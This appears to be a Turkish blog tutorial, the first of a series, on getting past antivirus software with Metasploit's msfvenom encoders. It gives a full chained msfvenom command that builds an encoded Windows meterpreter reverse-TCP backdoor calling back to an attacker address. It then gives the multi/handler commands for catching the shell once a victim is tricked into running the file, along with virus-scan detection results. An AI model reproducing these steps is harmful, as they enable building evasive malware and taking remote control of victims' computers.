Anti-Virus Atlatma - Msfvenom
Merhaba,
Anti-virüs bypass
işleminin anlatılmasını içerecek olan bu makale, yazı dizisi
şeklinde olacaktır. Her makalede farklı bir anti-virüs bypass aracı
anlatılacaktır.
İlk olarak, bu makalede,
Metasploit'in kendi içerisinde bulunan encode modülleri kullanılacaktır.
Sızma testleri sırasında
veya sosyal mühendislik saldırılarında, kurban kişisinin bilgisayarında
Metasploit'in ajanı olan meterpreter ile shell alınmak istenebilir.
Meterpreter, üstünde çok sayıda post-exploit modülü bulunduran, sızma testleri
sırasında işleri oldukça kolaylaştıran bir Metasploit ajanıdır.
Başlangıç olarak
Metasploit framework yardımıyla bir arka kapı oluşturacağız. Oluşturulan arka
kapı windows makineler için üretilmiştir ve reverse bağlantı ile 5566
portu üzerinden bizimle bağlantı kuracaktır.
Saf bir şekilde üretilen
(herhangi bir encode işlemine tabi tutulmamış) zararlı yazılımın online olarak virüs
taramasından geçirilmiş sonucu aşağıdadır.
Resimden
anlaşıldığı üzere 56 anti-virüs yazılımından 36 tanesi zararlı yazılım olduğunu
doğrulamıştır.
Msfvenom
Msfvenom, Metasploit
framework'ün arka kapı, shellcode üretmek , encode işlemleri için kullanılan
aracıdır. Öncesinde msfpayload ve msfencode ile ayrı ayrı yapılan bu işlemler
artık msfvenom ile tek bir seferde gerçekleştirilebilir.
Msfvenom içerisinde
bulunan encoder'lar msfvenom --list encoders komutuyla listelenebilir. Görüntülenen
encoder'ların güç dereceleri rank alanının altında bulunan bölümde belirtilmiştir.
Resimden anlaşılacağı üzere 'excellent' derecesinde iki tane encoder bulunmaktadır. Bunlar ;
- cmd/powershell_base64
- x86/shikata_ga_nai
Bunları teker teker
deneyip sonuçları test edeceğiz.
Encoder : cmd/powershell_base64
Msfvenom ile üretilen
arka kapıyı oluşturma sırasında encode işlemi uygulamak için -e veya
--encode parametresi
kullanılabilir. Encode işlemini birden çok defa uygulamak için -i veya --iterations parametresi
kullanılabilir.
Biz ilk olarak
oluşturacağımız arka kapıyı cmd/powershell_base64 encoder'i ile 5
defa encode edecek şekilde oluşturalım.
Bu tarz işlemler çokça
yapıldığı ve aynı formatta olduğu için anti-virüs yazılımları imza
veritabanlarına bunları eklemişlerdir. Bundan kaçınmak için aynı zararlıyı
birden çok defa farklı encoder'lar ile encode etmek gerekebilir. Bunu
yapabilmek için msfvenom'dan elde edeceğimiz çıktıyı bir sonraki msfvenom
komutuna pipe etmek gerekiyor. Bu şekilde birden çok encode tekniği ve
iterasyonu ile anti-virüslere yakalanma ihtimali düşebilir.
Aşağıdaki resimde
oluşturulan zararlı yazılım 3 farklı encode tekniği ile encode edilmiştir. İlk
durumda cmd/powershell_base64, ikinci durumda cmd/echo ve üçüncü durumda x86/shikata_ga_nai ile encode
edilmiştir. Encode işlemi sırasında 5 ve 10'ar defalık iterasyonlarla
encode işlemi gerçekleştirilmiştir.
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.124 LPORT=5566 -f raw -e cmd/powershell_base64 -i 5 | msfvenom --platform windows -a x86 -e cmd/echo -i 10 -f raw | msfvenom -e x86/shikata_ga_nai -i 10 --platform windows -a x86 -f exe -o backDoor_Encode_Multi_Shikata.exe
Reverse Meterpreter
Shell
Yapılan işlemlerden sonra
arka kapıyı kullanıcıya bir şekilde açtırdığımızı varsayarak aşağıdaki
işlemleri yapıp, açılacak olan meterpreter shell'ini beklemeye koyulabiliriz.
Bunun için Metasploit'in içerisinde yer alan ve gelecek bağlantıları yakalamaya
yarayan handler'i kullanmamız gerekmektedir. Sırasıyla aşağıdaki komutlar
girilmiştir ve gelecek bağlantılar beklenmektedir.
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 172.17.7.124
- set lport 5566
- set exitonsession false
- exploit -j -z
yukarıdaki işlemler
sırasında yapılanların açıklamalarına gelecek olursak, klasik olan multi/handler'i kullanıp, payload olarak arka kapıyı oluşturma sırasında kullandığımız payload'ı atayıp, bu
payload'a ait parametreleri(LHOST, LPORT) girmek, exitonsession parametresi
ile ilk bağlantıdan sonra gelecek olan bağlantıları da beklemesini
sağlamak ve bunları bir job haline getirip dinlemeyi başlatmak.
İşlemlerin gerçekleştirilmesi
sonrasında alınmış bir ekran görüntüsü aşağıdadır.
Kurban, oluşturulan
zararlı yazılımı açtıktan sonra meterpreter shell'imiz geliyor, fakat buna
otomatik bir geçiş yapmıyor. Bunun nedeni dinlemeyi yaptığımız sırada exploit komutuna verdiğimiz -z parametresidir. Bu parametre gelecek bağlantı ile
direk bağlantı kurmaz, oluşturulan session'lar içerisine ekler. Sessions komutu ile hali hazırda bağlantıları kurulmuş
olan session'ları görebiliriz.
Gelen bağlatıların
görüntülenmesi ve o session'a geçiş yapılması sonrasında bağlantının kurulduğu
bilgisayar hakkındaki bilgilerin listelenmesi işlemleri aşağıdaki resimde
gösterilmiştir.
tşk
YanıtlaSil